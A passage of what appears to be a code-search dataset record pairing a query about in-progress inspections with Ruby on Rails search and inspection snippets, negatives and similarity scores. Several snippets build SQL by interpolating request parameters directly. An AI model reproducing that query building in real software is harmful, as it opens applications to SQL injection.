\n if @availableFilesOnly == true\n available_files_only_in_where = \" AND ( blobs.uploaded = 1 OR devices.last_seen >= '#{device_online_timeout.to_s(:db)}' ) \"\n end\n \n show_deleted_files_in_where = \"\"\n \n if @showDeletedFiles == false && @queryparams[:what_to_get] =~ /files/i\n show_deleted_files_in_where = \" AND devfiles.deleted = 0 \"\n end\n \n # make the where-part of the sql query\n if not @versionlist_conditions\n makeConditions\n if @condition_string != \"\" || @hash_in_where != \"\"\n sql += \" ( \" + @condition_string + @hash_in_where + \" ) \"\n else\n sql += \" false \"\n end\n sql += show_deleted_files_in_where + available_files_only_in_where + @default_id_conditions\n else\n sql += \" \" + @versionlist_conditions + \" \" + @default_id_conditions\n end\n rescue => exp\n putsE(exp)\n raise exp\n end\n\n @sql = sql\n \n # sorting order\n @sql_sorting = \"\"\n if not @versionlist_sorting\n @sql_sorting = getSortingOrder\n else\n @sql_sorting = @versionlist_sorting\n end\n \n sql += \" ORDER BY \" + @sql_sorting\n puts \"Initial SQL: #{sql}\"\n \n @results_per_page = 100 # default\n @show_page = 1 # default\n if @queryparams[:format] == \"atom\"\n @results_per_page = 100 #default maxresults for atom-feed\n if @queryparams[:maxresults] and @queryparams[:maxresults] =~ /^\\d{1,}$/\n @results_per_page = @queryparams[:maxresults]\n end\n else\n if @queryparams[:perpage]\n @results_per_page = @queryparams[:perpage].to_i\n end\n if @queryparams[:page] and @queryparams[:page] =~ /^\\d{1,}$/\n @show_page = @queryparams[:page]\n end\n end\n\n # will_paginate uses sql-subqueries to get COUNT of rows. Subqueries are NOT\n # supported by Mysql versions < 4.1. So we have to do the counting by ourselves...\n count = sql.gsub(@select_part1, \"SELECT COUNT(*) AS entries\").gsub(/\\sORDER BY.*$/, \"\").gsub!(/\\:\\w+/) do |s|\n \"'\" + @condition_values[s.gsub(\":\", \"\").intern].to_s + \"'\"\n end\n \n \n \n if @queryparams[:what_to_get] =~ /files/i\n # entries = Devfile.count_by_sql(count)\n\n # Pagination will be made later, with new sql query\n @results = Devfile.find_by_sql [sql, @condition_values]#,\n# :page => @show_page,\n# :per_page => @results_per_page,\n# :total_entries => entries\n # Remove files from results that user is not allowed to access\n checkFileRightstoResults \n elsif @queryparams[:what_to_get] =~ /devices/i\n entries = Device.count_by_sql(count)\n @results = Device.paginate_by_sql [sql, @condition_values],\n :page => @show_page,\n :per_page => @results_per_page,\n :total_entries => entries\n # SHOULD EVERYONE BE ALLOWED TO SEE ALL DEVICES?\n \n elsif @versionlist_conditions\n entries = Blob.count_by_sql(count)\n @results = Blob.paginate_by_sql [sql, @condition_values],\n :page => @show_page,\n :per_page => @results_per_page,\n :total_entries => entries\n end\n end",
"def list_entries_with_search\n list_entries_without_search.where(search_condition)\n end",
"def search\n @search ||= exhibit.searches.first\n # @searches ||= exhibit.searches.published.where(slug: item_ids).sort do |a, b|\n # order.index(a.slug) <=> order.index(b.slug)\n # end\n end",
"def search_reasult(search_params)\n puts search_params\n # Available FBA States\n @fba_states = [[\"All\", nil], [\"Picking Line\", [\"rfp\", \"assign_for_pickup\"]], [\"Packing Line\", [\"picked_up\", \"assign_for_packup\"]], [\"Out For Delivery\", [\"delivery\", \"redelivery\"]], [\"Cancelled\", [\"cancel\"]], [\"Completed\", [\"complete\", \"customer_complete\", \"self_collect_complete\", \"collect_complete\", \"return_complete\"]]]\n @customer_pickup = false\n\n # Collect all search params if available\n if params[:order].present?\n @customer_pickup = params[:order][:is_pick_at_store] == \"true\" ? true : false\n @seller_id = params[:order][:seller_id]\n @market_place_id = params[:order][:market_place_id]\n @fba_state = params[:order][:fba_state]\n @formatted_state = @fba_state.tr('\"', '').gsub(\"[\",\"\").gsub(\"]\",\"\").split(\",\").map(&:lstrip) if @fba_state.present?\n @search_text = params[:order][:search_text]\n end\n\n # Initialize an array to collect the search query condition\n @query_conditions = []\n\n if params[:created_at_lt].present? && params[:created_at_gt].present?\n st_date = params[:created_at_gt].to_date.beginning_of_day\n end_date = params[:created_at_lt].to_date.end_of_day\n @query_conditions << \" order_date BETWEEN '#{st_date}' AND '#{end_date}'\"\n end\n\n # Check for all search parameters and create query conditions accordingly\n if @customer_pickup.present?\n @query_conditions << \"spree_line_items.is_pick_at_store = #{@customer_pickup}\"\n end\n if @market_place_id.present?\n @query_conditions << \" market_place_id = #{@market_place_id}\"\n end\n if @search_text.present?\n @query_conditions << \" (number like '%#{@search_text}%' OR market_place_order_no like '%#{@search_text}%' OR cart_no like '%#{@search_text}%' OR fulflmnt_tracking_no like '%#{@search_text}%' OR spree_addresses.firstname like '%#{@search_text}%' )\"\n end\n if @formatted_state.present?\n # Check for selected seller and collect his orders and match selected fba state\n if @seller_id.present?\n @seller = Spree::Seller.find(params[:order][:seller_id])\n @orders = @seller.orders.where(:fulflmnt_state => @formatted_state)\n else\n @orders = @orders.where(:fulflmnt_state => @formatted_state)\n end\n else\n if @seller_id.present?\n @seller = Spree::Seller.find(params[:order][:seller_id])\n @orders = @seller.orders\n end\n end\n\n # Combine all query conditions in single\n @query_conditions = @query_conditions.join(' and ')\n\n # Check for loged in user role\n if spree_current_user.has_spree_role?('seller')\n @market_places = spree_current_user.seller.market_places\n @seller = spree_current_user.try(:seller)\n @orders = @orders.includes(:line_items,:ship_address).where(\"\"+@query_conditions)\n else\n @sellers = Spree::Seller.all\n @market_places = Spree::MarketPlace.all\n @orders = @orders.includes(:line_items,:ship_address).where(\"\"+@query_conditions)\n end\n end",
"def search\n return nil unless valid?(:search)\n\n success = call_company_service\n errors.add(:company_number, :no_company_search_results) if success && !company_name?\n success\n end",
"def qty_instock(office_name=nil)\n=begin\n # Old Appgen Code\n if office_name.nil?\n InventoryItem.count(:conditions => ['item_code = ?', base_product])\n else\n wc = InventoryItem.warehouse_code_for(office_name)\n InventoryItem.count(:conditions => ['item_code = ? AND warehouse = ?', base_product, wc])\n end\n=end\n\n if office_name.nil?\n begin\n FishbowlQoh.find(:all, :params => {:partnum => base_product}).length\n rescue ActiveResource::ResourceNotFound\n 0\n end\n else\n begin\n #@fb_locationgroup ||= Rails.cache.fetch(\"fishbowl_locationgroup_#{locationgroupid}\") { Fishbowl.find(:first, :from => :locationgroup, :params => {:id => locationgroupid} ) }\n qbclass ||= Rails.cache.fetch(\"fishbowl_qbclass_name_#{office_name}\") { Fishbowl.find(:first, :from => :qbclass, :params => {:name => office_name, :use_limit => 1}) }\n locationgroups ||= Rails.cache.fetch(\"fishbowl_locationgroups_qbclassid_#{qbclass.id}\") { Fishbowl.find(:all, :from => :locationgroup, :params => {:qbclassid => qbclass.id}).delete_if { |lg| !lg.name.include? \"Spr\" } }\n locationgroupids = locationgroups.map { |lg| lg.id }\n FishbowlQoh.find(:all, :params => {:partnum => base_product, :locationgroupid => locationgroupids}).length\n rescue ActiveResource::ResourceNotFound\n 0\n end\n end\n end",
"def build_search!(options = {}, &block)\n conditions = @reflection.klass.build_search!(options, &block)\n conditions.scope = scope(:find)[:conditions]\n conditions\n end",
"def index\n @searches = Search.where(business_id: current_business.id)\n end",
"def nestio_listings(company_id, search_params)\n\t\tsearch_params[:is_nestio] = 1\n\t\t# search_params[:is_hide_on_website] = 1\n\t\tsearch_params[:has_hide_from_agent] = 1\n\t\tpull_data(company_id, search_params)\n\tend",
"def streeteasy_listings(company_id, search_params)\n\t\t# In order for streeteasy to accept a listing, the listing must have a primary agent assigned, a\n\t\t# description, and must be marked as 'exclusive'.\n\n\t\t# Additionally, sometimes our staff will temporarily mark a listing as not ready for\n\t\t# syndication. If the \"streeteasy flag\" is not set here, we prevent the data from going out.\n\t\tsearch_params[:has_primary_agent] = 1\n\t\tsearch_params[:exclusive] = 1\n\t\t# search_params[:is_hide_on_website] = 1\n\t\tsearch_params[:must_have_description] = 1\n\t\tsearch_params[:must_have_status_inbetween] = 1\n\t\tsearch_params[:must_have_streeteasy_flag] = 1\n\t\t# search_params[:has_hide_from_agent] = 1\n\t\tpull_data(company_id, search_params)\n\tend",
"def full_text_search(options, ar_options ={})\n klass = use_invitation(options) ? Invitation : Meeting\n ar_options[:include] ||= DEFAULT_INCLUDES\n\t\t build_query_string(options)\n\n\t\t options[:sort] = @sort_options unless @sort_options.nil?\n\t\t options[:page] ||= 1\n logger.debug \"SEARCH STRING: #{@query_string} OPTIONS: #{options.to_yaml}\"\n\n\t\t begin\n\t\t results = klass.paginate_search(@query_string, options, ar_options) \n\t\t rescue\n\t\t logger.error(\"Error while searching with search string: #{@query_string}\")\n\t\t logger.error(\"Error was: #{$!}.\")\n\t\t logger.error($!.backtrace.join(\"\\n\"))\n\t\t return WillPaginate::Collection.new(0, 20, 0) # This is wrong actually. We need to return an empty paginator... Might be somethign like this WillPaginate::Collection.new(page, per_page, total_hits) ?? \n\t\t end\n results.each do |result|\n result.extend(TTB::CoerceInvitation)\n result.filtered_date = self.start_date\n end\n \n \n #~ real_results = results.sort_by{|inv| inv.start_time_local }\n #~ real_results.extend(TTB::CoerceResults)\n #~ real_results.real_results = results\n\t\t return results\n\t\tend",
"def search_by_keyword(query, o={})\n #debugger\n #debug \"[search_by_keyword] query = #{query}\"\n result = Sunspot.search(Item) do\n keywords query\n if o[:doc_only]\n without :itype_str, Item::ITYPE_CONCEPT#['query','concept','tag']\n end\n #debugger\n o.find_all{|k,v|k.to_s =~ /^facet\\_/}.each do |e|\n #debugger\n with (e[0].to_s.split('_')[1..-1].join('_')).to_sym, e[1] if [e[1]].flatten.first != '-1'\n end\n #debugger\n order_by(:basetime, :desc) if o[:order] == \"recency\" || query == TEXT_DUMMY\n paginate(:page => o[:page], :per_page => o[:per_page]) if o[:page]\n facet(o[:facet]) if o[:facet]\n without :hidden_flag, '1'\n end\n #debugger\n if o[:facet]\n result.facet(o[:facet]).rows\n elsif o[:raw]\n result\n else\n result_items = result.hits.map_with_index{|e,i|{:id=>e.instance.id, :rank=>(i+1), :score=>e.score}}\n @cv.add(:type=>'kwd', :query=>query, :created_at=>(o[:created_at] || Time.now), :history_id=>o[:history_id], :result=>result_items) if o[:add_context]\n result_items\n end\n end",
"def perform_adv_search_for_all(data_set)\n click_clear_button\n select_adv_search_all_option\n search_input_errors = enter_object_id_search_data data_set\n click_search_button\n search_input_errors\n end",
"def create_inspection\n is_ok = false\n QcInspection.transaction do\n self.inspection_number = MesControlFile.next_seq_web(MesControlFile::QC_INSPECTION)\n if self.save\n set_status STATUS_CREATED\n inspection_type = self.qc_inspection_type\n filter_record = get_filter_context( inspection_type )\n unless filter_record.nil?\n self.inspection_reference = filter_record.attributes[self.qc_inspection_type.inspection_ref_column]\n info_hash = {}\n self.qc_inspection_type.business_info_columns_list.split(/\\s*,\\s*/).each do |col|\n info_hash[col.strip] = filter_record.attributes[col.strip] || ' '\n end\n self.business_info = info_hash.to_yaml\n self.save!\n is_ok = create_tests( inspection_type, filter_record )\n end\n end\n raise ActiveRecord::Rollback unless is_ok\n end\n is_ok \n end",
"def search\n #logger.info(\"Called Search!\")\n flash[:notice] = nil\n flash[:error] = nil\n # Build query string\n params[:name][:fname] = '%' if params[:name][:fname].empty?\n params[:name][:lname] = '%' if params[:name][:lname].empty?\n query = \"fname like ? AND lname like ? AND years_of_experience >= ?\"\n logger.info(\"skill: #{params[:skill][:id]}\")\n if ! params[:skill][:id].empty?\n query = \"#{query} AND skill_level_id = #{params[:skill][:id]}\"\n end\n if ! params[:resume].nil? && ! params[:photo].nil?\n query = \"#{query} AND role in ('#{get_resume_label}','#{get_picture_label}')\"\n elsif ! params[:resume].nil?\n query = \"#{query} AND role = '#{get_resume_label}'\"\n elsif ! params[:photo].nil?\n query = \"#{query} AND role = '#{get_picture_label}'\"\n end\n \n # Execute query\n name_join = 'INNER JOIN names ON names.engineer_id = engineers.id'\n resources_join = 'LEFT JOIN resources ON resources.engineer_id = engineers.id'\n @engineers = Engineer.all(:joins=>[name_join,resources_join],:conditions => [query,params[:name][:fname], params[:name][:lname], params[:experience][:years]], :order => :id).paginate :per_page => 5, :page => params[:page]\n #flash[:notice] = \"Query has returned #{@engineers.length} results.\" if ! @engineers.nil?\n respond_to do |format|\n format.html { render :action => 'index', :object => @engineers }\n format.xml { render :xml => @engineers }\n end\n end",
"def search_for(_spec)\n raise NotImplementedError, not_implemented_msg(:search_for)\n end",
"def search(appointments)\n if index_params[:search].present? && index_params[:search].size >= 3\n @filter = FILTERS[:search] # In case we're searching, use special filter\n @search = index_params[:search]\n return appointments.search_for(@search)\n end\n\n appointments\n end",
"def findings\n findings = @config.to_a.clone\n findings.shift # pop first item, the introduction\n findings.pop(3) # pop last 3 item, conclusion, recommendations, Mitigation Classification\n\n @findings = findings.map do |finding|\n Finding.new(\n attributes(finding).index,\n attributes(finding).title,\n attributes(finding).ref,\n finding.elements[0]&.elements[0].elements.map(&:attributes), # affected_devices\n rating_table(finding.elements[0].elements[1].elements), # Rating table\n finding.elements[2]&.elements&.first(2).map(&:text).join(\"\\n\"), # finding\n finding.elements[3]&.elements&.text, # impact\n finding.elements[4]&.elements&.text, # ease\n finding.elements[5]&.elements&.text # recommendation\n )\n end\n end",
"def search(criteria)\n api_paginated_response(api_get(\"#{PATH}/search\", criteria))\n end",
"def build_search(options = {}, &block)\n conditions = @reflection.klass.build_search(options, &block)\n conditions.scope = scope(:find)[:conditions]\n conditions\n end",
"def index\n @furnitures = Furniture.all\n search_string = params[:search]\n if search_string.nil?\n @search_results = Furniture.search(params[:search])\n else\n @search_results = Furniture.search(params[:search].strip)\n end\n if @search_results.empty?\n @search_results = Furniture.all\n end\n end",
"def calls_where\n self.class.where(person_to_look_up)\n end",
"def prepare_search(options = {})\n logger.debug(\"List, Search, or Group records\")\n \n @period_options = Period.options_by_midpoint\n @start_period_options = [[\"Start Period\",\"\"]]\n @start_period_options.concat @period_options\n @end_period_options = [[\"End Period\",\"\"]]\n @end_period_options.concat @period_options\n\n @kingdom_options = Kingdom.options\n @phylum_options = Phylum.options\n @environment_options = Environment.options\n @motility_options = Motility.options\n\n\n ## Create a list of things that can be used to group bodysize search results\n @groups = Hash.new\n @groups[\"kingdom_id\"] = ResultGroupField.new(\"kingdom_id\", :display_name => \"Kingdom\")\n @groups[\"phylum_id\"] = ResultGroupField.new(\"phylum_id\", :display_name => \"Phylum\")\n @groups[\"class_classification\"] = ResultGroupField.new(\"class_classification\", :display_name => \"Class\", :attribute_name => \"class_classification\")\n @groups[\"environment_id\"] = ResultGroupField.new(\"environment_id\", :display_name => \"Environment\")\n @groups[\"motility_id\"] = ResultGroupField.new(\"motility_id\", :display_name => \"Motility\")\n\n @graph_group_options = @groups.map { |key, group| [group.display_name, group.field_name] }\n\n @groups[\"period_id\"] = ResultGroupField.new(\"period_id\", :display_name => \"Period\")\n @group_options = @groups.map { |key, group| [group.display_name, group.field_name] }\n \n\n # Override default search values with anything in the session\n search_values = Hash.new\n if session[:search]\n session[:search].each { |key, value| search_values[key.to_sym] = session[:search][key] }\n end\n \n # Override default and session values with anything in params\n if options\n options.each { |key, value| search_values[key.to_sym] = options[key] }\n end\n \n if params[:page]\n search_values[:page] = params[:page]\n end\n\n # Save the search criteria \n session[:search] = search_values.dup\n session[:search][:show_all] = false\n\n\n if search_values && search_values[:use_log10_biovolume] && search_values[:use_log10_biovolume] == \"1\"\n @data_field = \"log10_biovolume\"\n else\n @data_field = \"biovolume\"\n end\n\n # Default records\n \n \n @bodysizes = current_user.accessible_bodysize_records({ :page => params[:page] || 1, :per_page => 20 })\n \n \n search(search_values)\n end",
"def search\n request.write_attributes request_attributes\n @search ||= request.call\n end",
"def index\n @hospital = Hospital.find(params[:hospital_id])\n hospital_suggestions = @hospital.hospital_suggestions.where(active: true)\n\n @hospital_suggestions_with_specialisations = {}\n hospital_suggestions.each do |hospital_suggestion|\n @hospital_suggestions_with_specialisations[hospital_suggestion] = hospital_suggestion.specialisations\n end\n end",
"def find_by_facet(opts)\n\t\t\t\turl = \"api/v2/interactions/facet\"\n\t\t\t\tget_objects(:get, :interactions, url, opts)\n\t\t\tend",
"def faceted_search(*args)\n search(*args)\n end",
"def index\n @genericcallouts = Genericcallout.all.paginate(:per_page =>15, :page => params[:page])\n .where(\"address ILIKE ?\",\"%#{params[:address_search]}%\").where(\"name ILIKE ?\",\"%#{params[:name_search]}%\").where(\"callback ILIKE ?\",\"%#{params[:phone_search]}%\").where(\"unitassigned ILIKE ?\",\"%#{params[:unit_search]}%\")\n end",
"def search\n @lawyer = User.first\n expertise = Expertise.find_by_id(params[:id])\n @users = UserExpertise.where(expertise_id: expertise)\n end",
"def index\n # internal\n manage_filter_state\n # OCO\n init_oco if !session[:organization]\n\n @search = Office.search do\n fulltext params[:search]\n if session[:organization] != '0'\n with :organization_id, session[:organization]\n end\n data_accessor_for(Office).include = [:company]\n order_by sort_column, sort_direction\n paginate :page => params[:page] || 1, :per_page => per_page\n end\n @offices = @search.results\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @offices }\n format.js\n end\n\n # if session[:organization] != '0'\n # # OCO organization active\n # @offices = Office.joins(:company).where(companies: { organization_id: session[:organization] }).paginate(:page => params[:page], :per_page => per_page).order(sort_column + ' ' + sort_direction)\n # else\n # # OCO inactive\n # @offices = Office.paginate(:page => params[:page], :per_page => per_page).order(sort_column + ' ' + sort_direction)\n # end\n end",
"def search_organizations(term, value)\n results = @organizations_indice.search(term: term, value: value)\n if perform_search_by_id?(term)\n results.each do |organization|\n # Get related tickets\n organization['tickets'] =\n @tickets_indice.search(term: 'organization_id', value: organization['_id'])\n\n # Get related users\n organization['users'] =\n @users_indice.search(term: 'organization_id', value: organization['_id'])\n end\n end\n results\n end",
"def get_basic_hospitals_data(i, params)\n # Attribute Filters\n must_filter = []\n\n # Search by single or multiple ids (comma separated)\n if params[:id]\n if params[:id].include? ','\n ids = params[:id].split(\",\").map { |s| s.to_i }\n must_filter.push({ terms: { id: ids }})\n else\n must_filter.push({term: { id: params[:id] }})\n end\n end\n\n # Search by name (autocomplete)\n must_filter.push(match_phrase_prefix: { name: params[:name] }) if params[:name]\n\n # Page filters\n perpage = params[:perpage] ? params[:perpage].to_i : 10\n page = params[:page] ? ((params[:page].to_i - 1) * perpage.to_i) : 0\n\n # Sort filters\n sort_filter = basic_hospitals_data_sort_filter(params[:sort_order], params[:sort_by])\n\n # Elasticsearch DSL Query\n search_query = {\n query: {\n bool: {\n must: must_filter\n }\n },\n sort: sort_filter,\n from: page,\n size: perpage\n }\n\n client = Elasticsearch::Client.new #host:'https://search-kulcare-search-a5gec72fgr3kghfjyvb3anac74.ap-southeast-1.es.amazonaws.com'\n results = client.search index: i, body: search_query\n results[\"hits\"].to_json\n end",
"def exec_search alg\n cover = send(\"exec_search_#{alg}\") \n write_cover(cover, alg) if $extensive_write\n return cover\nend",
"def search(index, *criteria)\n # results = []\n unless criteria.size == 0\n results = index[criteria.shift.to_sym].flatten\n criteria.inject(results) do |r, criterion|\n if criterion_components=composed_criterion?(criterion)\n r & composed_search(index, criterion_components[0], criterion_components[1])\n else\n (r & index[criterion.to_sym].flatten) unless index[criterion.to_sym].nil?\n end\n end\n \n # results = index[criteria.shift].flatten\n # criteria.each do |criterion|\n # results = (results & index[criterion].flatten) unless index[criterion].nil?\n # end #criteria\n # # results.flatten.uniq\n # results\n end\n end"
] |
[
"0.7095888",
"0.52420586",
"0.5145438",
"0.5135416",
"0.50376827",
"0.49311173",
"0.48040545",
"0.47550845",
"0.47352293",
"0.47213498",
"0.47195166",
"0.4718627",
"0.46804914",
"0.4652172",
"0.46153057",
"0.46124524",
"0.45771286",
"0.45693415",
"0.45435983",
"0.4537619",
"0.45330176",
"0.45272577",
"0.4521522",
"0.45209336",
"0.45173228",
"0.44898742",
"0.44887045",
"0.44869173",
"0.44839916",
"0.4460951",
"0.44520319",
"0.44495872",
"0.4441194",
"0.4441194",
"0.444056",
"0.44229344",
"0.4422846",
"0.4398967",
"0.43884918",
"0.43842766",
"0.43842766",
"0.43816435",
"0.43814936",
"0.4372216",
"0.43645373",
"0.4361916",
"0.4354389",
"0.43367228",
"0.4335435",
"0.43345964",
"0.43091556",
"0.43073094",
"0.43011805",
"0.42992508",
"0.4298308",
"0.42937282",
"0.42886442",
"0.42865983",
"0.4286228",
"0.42801058",
"0.42772883",
"0.4272788",
"0.42643192",
"0.42640173",
"0.42632368",
"0.42564884",
"0.42551106",
"0.4234451",
"0.42325747",
"0.4232139",
"0.42262864",
"0.42232665",
"0.42213395",
"0.42211577",
"0.4219986",
"0.42186666",
"0.4211066",
"0.42035562",
"0.4202546",
"0.41929847",
"0.419258",
"0.41883606",
"0.41873387",
"0.41693968",
"0.4165363",
"0.41645977",
"0.4162228",
"0.41538593",
"0.41494668",
"0.4142831",
"0.41416714",
"0.4136194",
"0.41338664",
"0.4131152",
"0.41310796",
"0.41281435",
"0.4124497",
"0.41216165",
"0.41186073",
"0.41180184"
] |
0.71185607
|
0
|
Existing (inprogress) inspections. Use search_business_context method to do the work.
|
def search_inspections
search_business_context( true )
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def current_qc_business_context_search\n return if authorise_for_web(program_name(params[:id]),'create')== false\n session[:qc_inspection_type_code] = params[:id]\n qc_current_inspection = ActiveRecord::Base.connection.select_one(\"select * from qc_current_inspections\n where user_id = #{session[:user_id].id}\n and qc_inspection_type_code = '#{params[:id]}'\")\n if qc_current_inspection.nil? || qc_current_inspection.qc_business_context_query.nil?\n redirect_to_index(\"'You have not yet captured an inspection for #{params[:id]}'\", \"''\")\n else\n dm_session[:search_engine_query_definition] = qc_current_inspection.qc_business_context_query\n session[:columns_list] = YAML.load(qc_current_inspection.columns_list)\n submit_business_context_search\n end\n end",
"def inspections\n @inspections ||= DboInspection.where(\"MemberID = ? and BranchID = ?\", read_attribute('MemberID'), read_attribute('BranchID'))\n .order('InsDate DESC')\n end",
"def search_business_context(with_inspections=false)\n return if authorise_for_web(program_name(params[:id]),'create')== false\n # Show a data miner...\n inspection_type = QcInspectionType.find_by_qc_inspection_type_code(params[:id])\n if inspection_type.nil?\n raise \"Unknown Inspection Type: '#{params[:id]}'. The inspection type is not setup correctly or the menu system is not correctly defined.\"\n end\n data_miner = inspection_type.qc_business_context_search\n data_miner.sub!('.yml', '_active.yml') if with_inspections\n session[:qc_inspection_type_code] = inspection_type.qc_inspection_type_code\n dm_session[:parameter_fields_values] = nil\n session[:qc_inspection_exists] = with_inspections\n dm_session['se_layout'] = 'content'\n @content_header_caption = \"'search'\"\n dm_session[:redirect] = true\n build_remote_search_engine_form(data_miner, 'submit_business_context_search')\n end",
"def mark_states_for_search\n new_states = self.states.where(search: false)\n # Comment out next line to turn off source-on-demand for demo/speed purposes\n Opportunity.source_opportunities(new_states.map {|s| s.name})\n new_states.update_all(search: true)\n end",
"def log_current_cusiness_context_query\n qc_current_inspection = get_current_inspection_record( session[:user_id].id, session[:qc_inspection_type_code] )\n if qc_current_inspection.nil?\n ActiveRecord::Base.connection.execute(\"INSERT INTO qc_current_inspections\n (user_id, qc_inspection_type_code, qc_business_context_query, columns_list)\n VALUES(#{session[:user_id].id}, '#{session[:qc_inspection_type_code]}',\n '#{dm_session[:search_engine_query_definition].gsub(/'/, \"''\")}', '#{session[:columns_list].to_yaml}')\")\n else\n ActiveRecord::Base.connection.execute(ActiveRecord::Base.extend_update_sql_with_request(\"UPDATE qc_current_inspections\n SET qc_business_context_query = '#{dm_session[:search_engine_query_definition].gsub(/'/, \"''\")}',\n columns_list = '#{session[:columns_list].to_yaml}'\n WHERE user_id = #{session[:user_id].id} AND qc_inspection_type_code = '#{session[:qc_inspection_type_code]}' \"))\n end\n end",
"def open_new_inspection\n if self.inspection_type_setting.present?\n\n new_insp = InspectionGenerator.new(self.inspection_type_setting).create\n\n new_insp_elements = {}\n\n new_insp.elements.each do |elem|\n new_insp_elements[elem.element_definition_id] = [elem.quantity, elem.notes, elem.parent&.element_definition_id]\n\n elem.defects.pluck(\"defect_definition_id\",\"condition_state_1_quantity\", \"condition_state_2_quantity\", \"condition_state_3_quantity\", \"condition_state_4_quantity\", \"total_quantity\", \"notes\").each do |defect|\n new_insp_elements[elem.element_definition_id] << { defect[0] => defect[1..-1] }\n end\n end\n\n # update all other open inspections\n self.highway_structure.inspections.where(state: ['open', 'ready']).where.not(id: new_insp.id).each do |insp|\n insp = Inspection.get_typed_inspection(insp)\n\n (insp.class.attribute_names.map{|x| x.to_sym} + Inspection.attribute_names.map{|x| x.to_sym} - [:id, :object_key, :guid, :state, :event_datetime, :weather, :temperature, :calculated_inspection_due_date, :qc_inspector_id, :qa_inspector_id, :routine_report_submitted_at, :organization_type_id, :assigned_organization_id, :inspection_team_leader_id, :inspection_team_member_id, :inspection_team_member_alt_id, :inspection_type_id]).each do |field_name|\n insp.send(\"#{field_name}=\", new_insp.send(field_name))\n end\n insp.save\n\n insp.elements.each do |elem|\n if new_insp_elements[elem.element_definition_id]\n elem.quantity = new_insp_elements[elem.element_definition_id][0]\n elem.notes = new_insp_elements[elem.element_definition_id][1]\n elem.parent = insp.elements.find_by(element_definition_id: new_insp_elements[elem.element_definition_id][2]) if new_insp_elements[elem.element_definition_id][2].present?\n elem.save\n\n elem.defects.each do |defect|\n\n if new_insp_elements[elem.element_definition_id][3][defect.defect_definition_id]\n defect.condition_state_1_quantity = new_insp_elements[elem.element_definition_id][3][defect.defect_definition_id][0]\n defect.condition_state_2_quantity = new_insp_elements[elem.element_definition_id][3][defect.defect_definition_id][1]\n defect.condition_state_3_quantity = new_insp_elements[elem.element_definition_id][3][defect.defect_definition_id][2]\n defect.condition_state_4_quantity = new_insp_elements[elem.element_definition_id][3][defect.defect_definition_id][3]\n defect.total_quantity = new_insp_elements[elem.element_definition_id][3][defect.defect_definition_id][4]\n defect.notes = new_insp_elements[elem.element_definition_id][3][defect.defect_definition_id][5]\n defect.save\n else\n defect.destroy\n end\n end\n\n # add new defects\n new_insp.elements.find_by(element_definition_id: elem.element_definition_id).defects.where.not(defect_definition_id: elem.defects.select(:defect_definition_id)).each do |defect|\n new_defect = defect.dup\n new_defect.object_key = nil\n new_defect.guid = nil\n new_defect.element = elem\n new_defect.inspection = elem.inspection\n new_defect.save\n\n end\n else\n elem.destroy\n end\n end\n\n # add new elements\n new_insp.elements.where.not(element_definition_id: insp.elements.select(:element_definition_id)).each do |elem|\n new_elem = elem.dup\n new_elem.object_key = nil\n new_elem.guid = nil\n new_elem.inspection = insp.inspection\n new_elem.parent = insp.elements.find_by(element_definition_id: elem.parent.element_definition_id) if elem.parent\n new_elem.save\n end\n end\n\n new_insp\n end\n\n end",
"def entire_history\n\t\t@workflows = WorkFlow.where(is_active: true, is_in_use: false)\n\t @report_include_canceled = session[:report_include_canceled]\n \t@report_include_completed = session[:report_include_completed]\n\n\t if session[:report_wildcard].present?\n\t @wildcard = session[:report_wildcard]\n\t end\n\t if session[:report_exact].present?\n\t @exact = session[:report_exact]\n\t end\n\n\t\tif request.post? or session[:report_q_string].present?\n\t\t\t@task_confirmation = false\n\t\t\tq_string = ''\n\t\t\tif request.post?\n\t\t\t\tsession[:params_search] = params \n\t\t\t if params[:report_include_canceled].presence\n\t\t\t @report_include_canceled = params[:report_include_canceled]\n\t\t\t session[:report_include_canceled] = @report_include_canceled\n\t\t\t else\n\t\t\t session.delete(:report_include_canceled)\n\t\t\t end\n\t\t\t if params[:report_include_completed].presence\n\t\t\t @report_include_completed = params[:report_include_completed]\n\t\t\t session[:report_include_completed] = @report_include_completed\n\t\t\t else\n\t\t\t session.delete(:report_include_completed)\n\t\t\t end\n\n\t\t\t\t@serach_result = search[0]\n\t\t\t\tq_string = search[1]\n\t\t\telse\n\t\t\t \tq_string = session[:report_q_string]\n\t\t\t \tif q_string != ''\n\t\t\t\t\tif @report_include_canceled == 'report_include_canceled' and @report_include_completed == 'report_include_completed'\n\t\t\t\t\t\t@serach_result = WorkFlow.search(q_string)\n\t\t\t\t\telsif @report_include_canceled == 'report_include_canceled'\n\t\t\t\t\t\t@serach_result = WorkFlow.search_exclude_complete(q_string)\n\t\t\t\t\telsif @report_include_completed == 'report_include_completed'\n\t\t\t\t\t\t@serach_result = WorkFlow.search_exclude_cancel(q_string)\n\t\t\t\t\telse\n\t\t\t\t\t\t@serach_result = WorkFlow.search_exclude_cancel_and_complete(q_string)\n\t\t\t\t\tend\t\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tif q_string != ''\n\t\t if @report_include_canceled == 'report_include_canceled' and @report_include_completed == 'report_include_completed'\n\t\t @report_serach_result = WorkFlow.entire_report_search(q_string)\n\t\t elsif @report_include_canceled == 'report_include_canceled'\n\t\t \t@report_serach_result = WorkFlow.entire_report_search_exclude_complete(q_string)\n\t\t elsif @report_include_completed == 'report_include_completed'\n\t\t \t@report_serach_result = WorkFlow.entire_report_search_exclude_cancel(q_string)\n\t\t else\n\t\t \t@report_serach_result = WorkFlow.entire_report_search_exclude_cancel_and_complete(q_string)\n\t\t end\n\t\t\tend\n\n\t\tend\n\tend",
"def index\n if params[:company_id].present?\n @company_id = params[:company_id]\n @inspections = Inspection.where(company_id: @company_id)\n else\n @inspections = Inspection.all\n end\n end",
